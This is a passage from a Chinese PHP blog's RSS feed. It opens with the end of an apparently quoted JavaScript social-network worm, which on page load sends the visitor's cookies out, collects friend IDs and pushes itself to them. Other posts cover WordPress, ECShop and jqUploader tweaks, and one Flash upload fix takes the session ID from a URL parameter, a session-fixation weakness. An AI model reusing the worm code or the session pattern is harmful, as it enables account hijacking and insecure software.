    <span style="color: #003366; font-weight: bold;">var</span> owned_mobile <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>friends_list.<span style="color: #660066;">list</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#93;</span>.<span style="color: #660066;">list</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">length</span><span style="color: #339933;">;</span>  <span style="color: #006600; font-style: italic;">//have mobile friends number</span>
    <span style="color: #000066; font-weight: bold;">for</span><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">var</span> i <span style="color: #339933;">=</span><span style="color: #CC0000;">0</span><span style="color: #339933;">;</span>i<span style="color: #339933;">&lt;</span> owned_mobile <span style="color: #339933;">;</span>i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        mobile_friends.<span style="color: #660066;">push</span><span style="color: #009900;">&#40;</span>friends_list.<span style="color: #660066;">list</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#93;</span>.<span style="color: #660066;">list</span><span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span>.<span style="color: #660066;">id</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        all_friends.<span style="color: #660066;">push</span><span style="color: #009900;">&#40;</span>friends_list.<span style="color: #660066;">list</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#93;</span>.<span style="color: #660066;">list</span><span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span>.<span style="color: #660066;">id</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #006600; font-style: italic;">//alert(mobile_friends.length);</span>
&nbsp;
    <span style="color: #003366; font-weight: bold;">var</span> no_mobile <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>friends_list.<span style="color: #660066;">list</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#93;</span>.<span style="color: #660066;">list</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">length</span><span style="color: #339933;">;</span>
    <span style="color: #000066; font-weight: bold;">for</span><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">var</span> i <span style="color: #339933;">=</span><span style="color: #CC0000;">0</span><span style="color: #339933;">;</span>i<span style="color: #339933;">&lt;</span> no_mobile <span style="color: #339933;">;</span>i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        all_friends.<span style="color: #660066;">push</span><span style="color: #009900;">&#40;</span>friends_list.<span style="color: #660066;">list</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#93;</span>.<span style="color: #660066;">list</span><span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span>.<span style="color: #660066;">id</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #006600; font-style: italic;">//alert(all_friends.length);</span>
    <span style="color: #000066; font-weight: bold;">for</span><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">var</span> i <span style="color: #339933;">=</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">;</span> i <span style="color: #339933;">&lt;</span> mobile_friends.<span style="color: #660066;">length</span><span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span>
        get_card<span style="color: #009900;">&#40;</span>mobile_friends<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    send_to_friends<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
window.<span style="color: #000066;">onload</span> <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
send_data<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'type=cookie&amp;v='</span><span style="color: #339933;">+</span>encodeURIComponent<span style="color: #009900;">&#40;</span>document.<span style="color: #660066;">cookie</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
get_self_info<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
get_all_friends<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>&nbsp;<br />
从代码能看出来，此人果真是人才啊！
</pre>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.killwin.com/articles/354.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>去掉讨厌的wordpress注册新用户邮件提醒管理员</title>
		<link>http://www.killwin.com/articles/309.html</link>
		<comments>http://www.killwin.com/articles/309.html#comments</comments>
		<pubDate>Sun, 22 Aug 2010 04:32:08 +0000</pubDate>
		<dc:creator>LuckyBoy</dc:creator>
				<category><![CDATA[PHP相关]]></category>
		<category><![CDATA[WEB]]></category>

		<guid isPermaLink="false">http://www.killwin.com/?p=309</guid>
		<description><![CDATA[公司有几个wordpress搭建的文章网站，每次有新用户注册的时候就会发邮件提醒我，由于我的手机实时接受邮件，所以晚上都被吵死，今天就来对wordpress动手术 打开 ﻿wp-includes/pluggable.php 文件 大约 1200行，找到 ﻿﻿@wp_mail&#40;get_option&#40;'admin_email'&#41;, sprintf&#40;__&#40;'[%s] New User Registration'&#41;, $blogname&#41;, $message&#41;; 注释之，保存 OK，世界清净了]]></description>
			<content:encoded><![CDATA[<p>公司有几个wordpress搭建的文章网站，每次有新用户注册的时候就会发邮件提醒我，由于我的手机实时接受邮件，所以晚上都被吵死，今天就来对wordpress动手术</p>
<p>打开 ﻿wp-includes/pluggable.php 文件</p>
<p>大约 1200行，找到</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">﻿﻿<span style="color: #339933;">@</span>wp_mail<span style="color: #009900;">&#40;</span>get_option<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'admin_email'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #990000;">sprintf</span><span style="color: #009900;">&#40;</span>__<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'[%s] New User Registration'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$blogname</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$message</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>注释之，保存</p>
<p>OK，世界清净了</p>
]]></content:encoded>
			<wfw:commentRss>http://www.killwin.com/articles/309.html/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>ECShop 商品分类添加图片</title>
		<link>http://www.killwin.com/articles/303.html</link>
		<comments>http://www.killwin.com/articles/303.html#comments</comments>
		<pubDate>Thu, 15 Jul 2010 16:12:52 +0000</pubDate>
		<dc:creator>LuckyBoy</dc:creator>
				<category><![CDATA[ECShop]]></category>

		<guid isPermaLink="false">http://www.killwin.com/?p=303</guid>
		<description><![CDATA[想给每个分类有个图片，网上找了教程，肯定不能成功，现在把成功的方法写出来，供大家参考 数据库 category表 添加一个字段 cat_img ，类型设置 varchar 打开 admin/templates/category_info.htm 找个地方添加下面代码 分类图片: &#60;input name=&#34;cat_img&#34; size=&#34;35&#34; type=&#34;file&#34; /&#62; {if $cat_info.cat_img}&#60;img src=&#34;images/yes.gif&#34; border=&#34;0&#34; alt=&#34;&#34; /&#62;{else}&#60;img src=&#34;images/no.gif&#34; alt=&#34;&#34; /&#62;{/if} 打开 admin/category.php 找到 require&#40;dirname&#40;__FILE__&#41; . '/includes/init.php'&#41;; 下面添加 include_once&#40;ROOT_PATH . '/includes/cls_image.php'&#41;; 找到 $cat&#91;'cat_recommend'&#93; = !empty&#40;$_POST&#91;'cat_recommend'&#93;&#41; ? $_POST&#91;'cat_recommend'&#93; : array&#40;&#41;; 全文共2处，两处下面都添加 $cat&#91;'cat_img'&#93; = $image-&#38;gt;upload_image&#40;$_FILES&#91;'cat_img'&#93;&#41;; 保存，ok了 以下为7月18日更新 上面所述这样做，会有一个问题，添加了分类图片，如果再编辑了分类而没有上传图片，那么图片会被清除，所以做如下修正 将下面这句 $cat&#91;'cat_img'&#93; = $image-&#62;upload_image&#40;$_FILES&#91;'cat_img'&#93;&#41;; 改成 [...]]]></description>
			<content:encoded><![CDATA[<p>想给每个分类有个图片，网上找了教程，肯定不能成功，现在把成功的方法写出来，供大家参考</p>
<p>数据库 category表 添加一个字段 cat_img ，类型设置 varchar</p>
<p>打开 admin/templates/category_info.htm</p>
<p>找个地方添加下面代码</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">分类图片: &lt;input name=&quot;cat_img&quot; size=&quot;35&quot; type=&quot;file&quot; /&gt;
{if $cat_info.cat_img}&lt;img src=&quot;images/yes.gif&quot; border=&quot;0&quot; alt=&quot;&quot; /&gt;{else}&lt;img src=&quot;images/no.gif&quot; alt=&quot;&quot; /&gt;{/if}</pre></div></div>

<p>打开 admin/category.php</p>
<p>找到</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">require</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">dirname</span><span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">__FILE__</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'/includes/init.php'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>下面添加</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">include_once</span><span style="color: #009900;">&#40;</span>ROOT_PATH <span style="color: #339933;">.</span> <span style="color: #0000ff;">'/includes/cls_image.php'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>找到</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$cat</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'cat_recommend'</span><span style="color: #009900;">&#93;</span>  <span style="color: #339933;">=</span> <span style="color: #339933;">!</span><span style="color: #990000;">empty</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'cat_recommend'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span>  ? <span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'cat_recommend'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">:</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>全文共2处，两处下面都添加</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$cat</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'cat_img'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$image</span><span style="color: #339933;">-&amp;</span>gt<span style="color: #339933;">;</span>upload_image<span style="color: #009900;">&#40;</span><span style="color: #000088;">$_FILES</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'cat_img'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>保存，ok了</p>
<hr />
以下为7月18日更新</p>
<p>上面所述这样做，会有一个问题，添加了分类图片，如果再编辑了分类而没有上传图片，那么图片会被清除，所以做如下修正</p>
<p>将下面这句</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$cat</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'cat_img'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$image</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">upload_image</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_FILES</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'cat_img'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>改成</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$cat_img</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$image</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">upload_image</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_FILES</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'cat_img'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">empty</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cat_img</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
  <span style="color: #000088;">$cat</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'cat_img'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$cat_img</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.killwin.com/articles/303.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>推荐几本学习PHP的书籍</title>
		<link>http://www.killwin.com/articles/280.html</link>
		<comments>http://www.killwin.com/articles/280.html#comments</comments>
		<pubDate>Wed, 26 May 2010 10:12:03 +0000</pubDate>
		<dc:creator>LuckyBoy</dc:creator>
				<category><![CDATA[WEB]]></category>
		<category><![CDATA[PHP相关]]></category>
		<category><![CDATA[书]]></category>
		<category><![CDATA[学习]]></category>

		<guid isPermaLink="false">http://www.killwin.com/?p=280</guid>
		<description><![CDATA[首先声明，本文有一定的广告性质，因为本站没有任何收入来源，所以为了生存，没办法，必须打广告，请大家谅解，但是，本文中推荐的书籍确实都是不错的，我已经全部看过了，不好的我不会推荐，就供大家参考了 第一本：杜江老师写的 PHP 5与 MySQL 5  Web 开发技术详解 这本书呢，介绍了很多杜江老师从事PHP开发过程中的经验，写的也很详细，推荐阅读 第二本：大道PHP：LAMP+Zend+开源框架整合开发与实战 这本书呢，比较适合初学者，但是感觉这么厚厚一本，内容挺少，如果你是初学者，一定不要错过 第三本：JavaScript 实 例自学手册：通过486个例子掌握Web开发捷径 学PHP当然是要做网页，要做出精彩的网页，就离不开Javascript 本书自带将近500个js实例，但是讲解不详细，适合需要快速开发的朋友拿来复制粘贴用 第四本：PHP网络编程典型模块与实例精讲 同上，适合复制粘贴用 第五本：PHP函数库查询辞典 中文版的，20多块，不贵，适合需要经常背诵函数的童鞋购买 第六本：HTML&#38;XHTML权威指南（第六版） 搞PHP当然要会弄页面，本书适合对HTML XHTML生疏，还有 HTML和XHTML功底不扎实的童鞋 第七本：Ajax与PHP基础教程 Ajax与PHPWeb开发 两本放一起了，因为这两本感觉内容差不多，都是翻译老外的 第八本：jQuery基础教程 jQuery实战 锋利的jQuery 这次3本放一起了，但这三本却是截然不同的三本，JQuery确实是个好东西，它是一个强大的JS库，能为你节省很多编码时间，并且适合对JS不精通的人，使用 JQuery你能完成你觉得自己不可能完成的事情，个人比较推荐后者 第九本：Photoshop CS 平面视觉特效设计精粹(附光盘全彩印刷)/CG设计与制作精粹系列 做网页当然离不开美工，虽然我们不是专业美工，但是还是要学一点图片处理基础，本书中包含很多的例子，讲解的也比较详细]]></description>
			<content:encoded><![CDATA[<p>首先声明，本文有一定的广告性质，因为本站没有任何收入来源，所以为了生存，没办法，必须打广告，请大家谅解，但是，本文中推荐的书籍确实都是不错的，我已经全部看过了，不好的我不会推荐，就供大家参考了</p>
<p>第一本：杜江老师写的 <a href="http://union.dangdang.com/transfer/transfer.aspx?from=P-279728&amp;backurl=http://product.dangdang.com/product.aspx?product_id=20049074" target="_blank">PHP 5与 MySQL 5  Web 开发技术详解</a> 这本书呢，介绍了很多杜江老师从事PHP开发过程中的经验，写的也很详细，推荐阅读</p>
<p>第二本：<a href="http://union.dangdang.com/transfer/transfer.aspx?from=P-279728&amp;backurl=http://product.dangdang.com/product.aspx?product_id=20660165" target="_blank">大道PHP：LAMP+Zend+开源框架整合开发与实战</a> 这本书呢，比较适合初学者，但是感觉这么厚厚一本，内容挺少，如果你是初学者，一定不要错过</p>
<p>第三本：<a href="http://union.dangdang.com/transfer/transfer.aspx?from=P-279728&amp;backurl=http://product.dangdang.com/product.aspx?product_id=20101908" target="_blank">JavaScript 实 例自学手册：通过486个例子掌握Web开发捷径</a> 学PHP当然是要做网页，要做出精彩的网页，就离不开Javascript 本书自带将近500个js实例，但是讲解不详细，适合需要快速开发的朋友拿来复制粘贴用</p>
<p>第四本：<a href="http://union.dangdang.com/transfer/transfer.aspx?from=P-279728&amp;backurl=http://product.dangdang.com/product.aspx?product_id=20013263" target="_blank">PHP网络编程典型模块与实例精讲</a> 同上，适合复制粘贴用</p>
<p>第五本：<a href="http://union.dangdang.com/transfer/transfer.aspx?from=P-279728&amp;backurl=http://product.dangdang.com/product.aspx?product_id=9252187" target="_blank">PHP函数库查询辞典</a> 中文版的，20多块，不贵，适合需要经常背诵函数的童鞋购买</p>
<p>第六本：<a href="http://union.dangdang.com/transfer/transfer.aspx?from=P-279728&amp;backurl=http://product.dangdang.com/product.aspx?product_id=9275975" target="_blank">HTML&amp;XHTML权威指南（第六版）</a> 搞PHP当然要会弄页面，本书适合对HTML XHTML生疏，还有 HTML和XHTML功底不扎实的童鞋</p>
<p>第七本：<a href="http://union.dangdang.com/transfer/transfer.aspx?from=P-279728&amp;backurl=http://product.dangdang.com/product.aspx?product_id=20020107" target="_blank">Ajax与PHP基础教程</a> <a href="http://union.dangdang.com/transfer/transfer.aspx?from=P-279728&amp;backurl=http://product.dangdang.com/product.aspx?product_id=9269545" target="_blank">Ajax与PHPWeb开发</a> 两本放一起了，因为这两本感觉内容差不多，都是翻译老外的</p>
<p>第八本：<a href="http://union.dangdang.com/transfer/transfer.aspx?from=P-279728&amp;backurl=http://product.dangdang.com/product.aspx?product_id=20246216" target="_blank">jQuery基础教程</a> <a href="http://union.dangdang.com/transfer/transfer.aspx?from=P-279728&amp;backurl=http://product.dangdang.com/product.aspx?product_id=20502659" target="_blank">jQuery实战</a> <a href="http://union.dangdang.com/transfer/transfer.aspx?from=P-279728&amp;backurl=http://product.dangdang.com/product.aspx?product_id=20605214" target="_blank">锋利的jQuery</a> 这次3本放一起了，但这三本却是截然不同的三本，JQuery确实是个好东西，它是一个强大的JS库，能为你节省很多编码时间，并且适合对JS不精通的人，使用 JQuery你能完成你觉得自己不可能完成的事情，个人比较推荐后者</p>
<p>第九本：<a href="http://union.dangdang.com/transfer/transfer.aspx?from=P-279728&amp;backurl=http://product.dangdang.com/product.aspx?product_id=9116994" target="_blank">Photoshop CS 平面视觉特效设计精粹(附光盘全彩印刷)/CG设计与制作精粹系列</a> 做网页当然离不开美工，虽然我们不是专业美工，但是还是要学一点图片处理基础，本书中包含很多的例子，讲解的也比较详细</p>
]]></content:encoded>
			<wfw:commentRss>http://www.killwin.com/articles/280.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>山寨 CET 成绩查询系统最终版源码发布</title>
		<link>http://www.killwin.com/articles/188.html</link>
		<comments>http://www.killwin.com/articles/188.html#comments</comments>
		<pubDate>Thu, 04 Mar 2010 00:48:20 +0000</pubDate>
		<dc:creator>LuckyBoy</dc:creator>
				<category><![CDATA[PHP相关]]></category>
		<category><![CDATA[CET]]></category>
		<category><![CDATA[Snoopy]]></category>
		<category><![CDATA[山寨]]></category>

		<guid isPermaLink="false">http://www.killwin.com/?p=188</guid>
		<description><![CDATA[今天把修改好的最终的源码放出来，该程序使用了强大的Snoopy类 下面是下载链接 2009年3月6日更新: 由于99sushe在查询页面加了验证码，所以做一下版本升级 点我下载 由于需要一个Snoopy类，一起打包比较麻烦，这里就不打包了，请大家自行从旧版本提取，或者到这里下载 ===================== 下面是先前旧版本不带验证码的 点我下载]]></description>
			<content:encoded><![CDATA[<p>今天把修改好的最终的源码放出来，该程序使用了强大的Snoopy类<br />
下面是下载链接</p>
<p>2009年3月6日更新:</p>
<p>由于99sushe在查询页面加了验证码，所以做一下版本升级</p>
<h2><a href="/wp-content/uploads/2010/03/cet200912.php_.zip"><span style="color: #ff0000;"><strong>点我下载</strong></span></a></h2>
<p>由于需要一个Snoopy类，一起打包比较麻烦，这里就不打包了，请大家自行从旧版本提取，或者到<a href="/articels/171.html">这里下载</a><br />
=====================<br />
下面是先前旧版本不带验证码的</p>
<h2><a href="/wp-content/uploads/2010/03/092CET.zip"><span style="color: #ff0000;"><strong>点我下载</strong></span></a></h2>
]]></content:encoded>
			<wfw:commentRss>http://www.killwin.com/articles/188.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>山寨 CET 成绩查询系统</title>
		<link>http://www.killwin.com/articles/186.html</link>
		<comments>http://www.killwin.com/articles/186.html#comments</comments>
		<pubDate>Wed, 03 Mar 2010 04:37:42 +0000</pubDate>
		<dc:creator>LuckyBoy</dc:creator>
				<category><![CDATA[PHP相关]]></category>
		<category><![CDATA[闲言碎语]]></category>
		<category><![CDATA[CET]]></category>
		<category><![CDATA[Snoopy]]></category>
		<category><![CDATA[山寨]]></category>

		<guid isPermaLink="false">http://www.killwin.com/?p=186</guid>
		<description><![CDATA[官方成绩，没有广告，无需等待15秒 点此进入]]></description>
			<content:encoded><![CDATA[<p>官方成绩，没有广告，无需等待15秒<br />
<a href="/apps/cet200912.php" target="_blank">点此进入</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.killwin.com/articles/186.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>2个实用的PHP类</title>
		<link>http://www.killwin.com/articles/171.html</link>
		<comments>http://www.killwin.com/articles/171.html#comments</comments>
		<pubDate>Thu, 04 Feb 2010 06:34:17 +0000</pubDate>
		<dc:creator>LuckyBoy</dc:creator>
				<category><![CDATA[PHP相关]]></category>
		<category><![CDATA[Class]]></category>
		<category><![CDATA[XML]]></category>
		<category><![CDATA[实用]]></category>
		<category><![CDATA[类]]></category>

		<guid isPermaLink="false">http://www.killwin.com/?p=171</guid>
		<description><![CDATA[一个是Snoopy类，可以模拟浏览器行为 一个是simplehtmldom类，可以解析HTML等xml文件 点击下载]]></description>
			<content:encoded><![CDATA[<p>一个是Snoopy类，可以模拟浏览器行为<br />
一个是simplehtmldom类，可以解析HTML等xml文件<br />
<a href="/wp-content/uploads/2010/02/ppc.zip">点击下载</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.killwin.com/articles/171.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>PHPChina 邀请码</title>
		<link>http://www.killwin.com/articles/161.html</link>
		<comments>http://www.killwin.com/articles/161.html#comments</comments>
		<pubDate>Sat, 30 Jan 2010 06:42:11 +0000</pubDate>
		<dc:creator>LuckyBoy</dc:creator>
				<category><![CDATA[PHP相关]]></category>
		<category><![CDATA[PHPChina]]></category>
		<category><![CDATA[在线申请]]></category>
		<category><![CDATA[推荐码]]></category>
		<category><![CDATA[邀请码]]></category>

		<guid isPermaLink="false">http://www.killwin.com/?p=161</guid>
		<description><![CDATA[[2010年2月1日更新] /apps/phpchina.php您可以在这里即时查看最新邀请码]]></description>
			<content:encoded><![CDATA[<p>[2010年2月1日更新]<br />
<a href="/apps/phpchina.php" target="_blank">/apps/phpchina.php</a>您可以在这里即时查看最新邀请码</p>
]]></content:encoded>
			<wfw:commentRss>http://www.killwin.com/articles/161.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>解决jQuery插件 jqUploader 无法在 jQuery-1.3.2下工作的问题</title>
		<link>http://www.killwin.com/articles/107.html</link>
		<comments>http://www.killwin.com/articles/107.html#comments</comments>
		<pubDate>Sun, 13 Dec 2009 09:30:45 +0000</pubDate>
		<dc:creator>LuckyBoy</dc:creator>
				<category><![CDATA[jQuery]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[jqUploader]]></category>
		<category><![CDATA[PHP相关]]></category>
		<category><![CDATA[上传]]></category>

		<guid isPermaLink="false">http://www.killwin.com/?p=107</guid>
		<description><![CDATA[jqUploader是一款十分好用的jQuery Flash 上传插件，但是无法工作在1.3.2版本下，是一个十分糟糕的问题，今天就给它动动手术 打开 jquery.jqUploader.js 找到 var $thisInput = $("input[@type='file']",$this); 改成 var $thisInput = $("input [type='file']",$this); 找到 var maxFileSize = $("input[@name='MAX_FILE_SIZE']", $(this.form)).val(); 改成 var maxFileSize = $("input [name='MAX_FILE_SIZE']", $(this.form)).val(); 找到 afterScript: getstaffatt(), 注释之 找到 $("*[@type='submit']",this.form).hide(); 改成 $("* [type='submit']",this.form).hide(); 保存一下，在用jQuery-1.3.2测试，已经成功了 总结一下，jQuery最新版里面已经没有了类似于[@type='XXX']这样的写法了，需要把@去掉，当然，还要在 "input" 后面加一个空格，这才是jQuery过滤器的正确写法]]></description>
			<content:encoded><![CDATA[<p><a href="http://pixeline.be/experiments/jqUploader/">jqUploader</a>是一款十分好用的jQuery Flash 上传插件，但是无法工作在1.3.2版本下，是一个十分糟糕的问题，今天就给它动动手术</p>
<p>打开 jquery.jqUploader.js</p>
<p>找到</p>
<blockquote><p>var $thisInput = $("input[@type='file']",$this);</p></blockquote>
<p>改成</p>
<blockquote><p>var $thisInput = $("input [type='file']",$this);</p></blockquote>
<p>找到</p>
<blockquote><p>var maxFileSize = $("input[@name='MAX_FILE_SIZE']", $(this.form)).val();</p></blockquote>
<p>改成</p>
<blockquote><p>var maxFileSize = $("input [name='MAX_FILE_SIZE']", $(this.form)).val();</p></blockquote>
<p>找到</p>
<blockquote><p>afterScript:      getstaffatt(),</p></blockquote>
<p>注释之</p>
<p>找到</p>
<blockquote><p>$("*[@type='submit']",this.form).hide();</p></blockquote>
<p>改成</p>
<blockquote><p>$("* [type='submit']",this.form).hide();</p></blockquote>
<p>保存一下，在用jQuery-1.3.2测试，已经成功了</p>
<p>总结一下，jQuery最新版里面已经没有了类似于[@type='XXX']这样的写法了，需要把@去掉，当然，还要在 "input" 后面加一个空格，这才是jQuery过滤器的正确写法</p>
]]></content:encoded>
			<wfw:commentRss>http://www.killwin.com/articles/107.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>解决使用FireFox+Flash上传文件时SESSION丢失的问题</title>
		<link>http://www.killwin.com/articles/65.html</link>
		<comments>http://www.killwin.com/articles/65.html#comments</comments>
		<pubDate>Wed, 07 Oct 2009 03:43:16 +0000</pubDate>
		<dc:creator>LuckyBoy</dc:creator>
				<category><![CDATA[PHP相关]]></category>
		<category><![CDATA[Firefox]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[SESSION]]></category>
		<category><![CDATA[上传]]></category>

		<guid isPermaLink="false">http://www.killwin.com/?p=65</guid>
		<description><![CDATA[不知道Firefox是出于安全考虑还是有Bug，使用Flash请求页面的时候Cookies和SESSION都不会传递，上网查一下，很多教程都说是把php.ini中的 session.use_trans_sid设置为1，但是我不明白这是什么意思，所以不敢轻易修改，免得带来安全问题，而且如果是虚拟主机用户要不是没办法修改了？ 所以要想别的解决方法，从程序上解决问题，看到一位牛人的Blog（竟然禁止了IE访问他的Blog，不知道要损失多少访问量，嘎嘎），他的方法是在flash的URL后面加参数，把sid传递给flash，然后在flash里面把sid从flash里面传递给页面，但是他也没说清楚在页面里怎么处理传递过去的sid，因为我是用的jqUploader插件，所以没必要这么麻烦，况且我对flash也不熟悉，万一改坏了那不彻底完蛋了。 下面是我的解决方法 首先通过php的session_id()函数把sid从url参数传递过去，然后从$_GET数组获取sid，然后在接收页面使用session_id($sid)重新设置sid的值，具体代码如下 提交页面 &#60;form action=&#34;url.php?sid=&#60;?php echo session_id&#40;&#41; ?&#62;&#34; method=&#34;POST&#34;&#62; ................... ................... &#60;/form&#62; 接收页面 &#60;?php session_id&#40;$_GET&#91;'sid'&#93;&#41;; session_start&#40;&#41;; ?&#62; 这样就能保证session正确通过flash传递了 要注意的是 设置sid的session_id($GET['sid']);语句一定要在session_start();之前，否则设置不能成功 注释:某些童鞋可能搞不明白session和sid到底什么关系，这里简单说一下，sid其实就是session id的简称，session的值是保存在服务器端的，客户端要通过自己的sid去服务器上取自己的session，sid一般保存在浏览器的cookies里面，如果客户端不支持cookies，sid也可以通过url传递，就像本文的例子]]></description>
			<content:encoded><![CDATA[<p>不知道Firefox是出于安全考虑还是有Bug，使用Flash请求页面的时候Cookies和SESSION都不会传递，上网查一下，很多教程都说是把php.ini中的<br />
session.use_trans_sid设置为1，但是我不明白这是什么意思，所以不敢轻易修改，免得带来安全问题，而且如果是虚拟主机用户要不是没办法修改了？</p>
